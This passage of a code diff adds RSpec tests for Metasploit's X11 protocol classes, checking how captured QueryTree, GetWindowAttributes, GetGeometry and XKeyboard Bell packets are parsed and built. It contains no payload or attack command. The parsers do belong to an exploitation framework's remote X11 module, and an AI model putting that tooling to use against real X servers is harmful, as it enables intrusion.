+ # test against packet pulled from wireshark
+ response = Msf::Exploit::Remote::X11::Window::QUERYTREERESPONSE.read(querytree_response)
+ puts response
+ expect(response.opcode).to eq(15)
+ expect(response.request_length).to eq(2)
+ end
+ end
+
+ describe 'handles GetWindowAttributes response' do
+ it do
+ # test against packet pulled from wireshark
+ response = Msf::Exploit::Remote::X11::Window::GETWINDOWATTRIBUTESRESPONSE.read(windowattributes_response)
+ puts response
+ expect(response.opcode).to eq(15)
+ expect(response.request_length).to eq(2)
+ end
+ end
+
+ describe 'handles GetGeometry response' do
+ it do
+ # test against packet pulled from wireshark
+ response = Msf::Exploit::Remote::X11::Window::GetGeometryResponse.read(getgeometry_response)
+ puts response
+ expect(response.opcode).to eq(15)
+ expect(response.request_length).to eq(2)
+ end
+ end
+
+end
diff --git a/spec/lib/msf/core/exploit/remote/x11/xkeyboard.rb b/spec/lib/msf/core/exploit/remote/x11/xkeyboard.rb
index f6d4cab3d267..171893ea9e98 100644
--- a/spec/lib/msf/core/exploit/remote/x11/xkeyboard.rb
+++ b/spec/lib/msf/core/exploit/remote/x11/xkeyboard.rb
@@ -378,6 +378,12 @@
"\x2c\x00\x01\x00"
end
+ let(:set_bell) do
+ "\x88\x03\x07\x00\x00\x01\x00\x03\x00\x04\x32\x00\x00\x00\x00\x00" \
+ "\x00\x00\x00\x00\x2e\x03\x00\x00\x00\x00\x00\x00"
+ end
+
+
describe 'handles xkeyboard GetMap response' do
it do
response = Msf::Exploit::Remote::X11::Xkeyboard::GETMAPREPLY.read(get_keyboardmap_resp)
@@ -479,25 +485,29 @@
expect(request.to_binary_s).to eq(keyboard_select_events_map_notify)
end
- describe 'creates get map request' do
+ describe 'creates bell request' do
it do
# test against packet pulled from wireshark
- request = Msf::Exploit::Remote::X11::Xkeyboard::GETMAPREQUEST.read(keyboard_get_map_request)
+ request = Msf::Exploit::Remote::X11::Xkeyboard::BELLREQUEST.read(set_bell)
expect(request.xkeyboard_id).to eq(136)
- expect(request.extension_minor).to eq(8)
+ expect(request.extension_minor).to eq(3)
expect(request.request_length).to eq(7)
expect(request.device_spec).to eq(256)
+ expect(request.bell_class).to eq(768)
+ expect(request.bell_id).to eq(1024)
+ expect(request.percent).to eq(50)
+ expect(request.force_sound).to eq(0)
+ expect(request.event_only).to eq(0)
+ expect(request.pitch).to eq(0)
+ expect(request.duration).to eq(0)
+ expect(request.window).to eq(0)
+ expect(request.name).to eq(816)
- request = Msf::Exploit::Remote::X11::Xkeyboard::GETMAPREQUEST.new(
+ request = Msf::Exploit::Remote::X11::Xkeyboard::BELLREQUEST.new(
xkeyboard_id: 136,
- extension_minor: 1,
- device_spec: 256,
- full_key_types: 1,
- full_key_syms: 1,
- full_modifier_map: 1
)
- expect(request.to_binary_s).to eq(keyboard_get_map_request)
+ expect(request.to_binary_s).to eq(set_bell)
end
end
end
-end
+end
\ No newline at end of file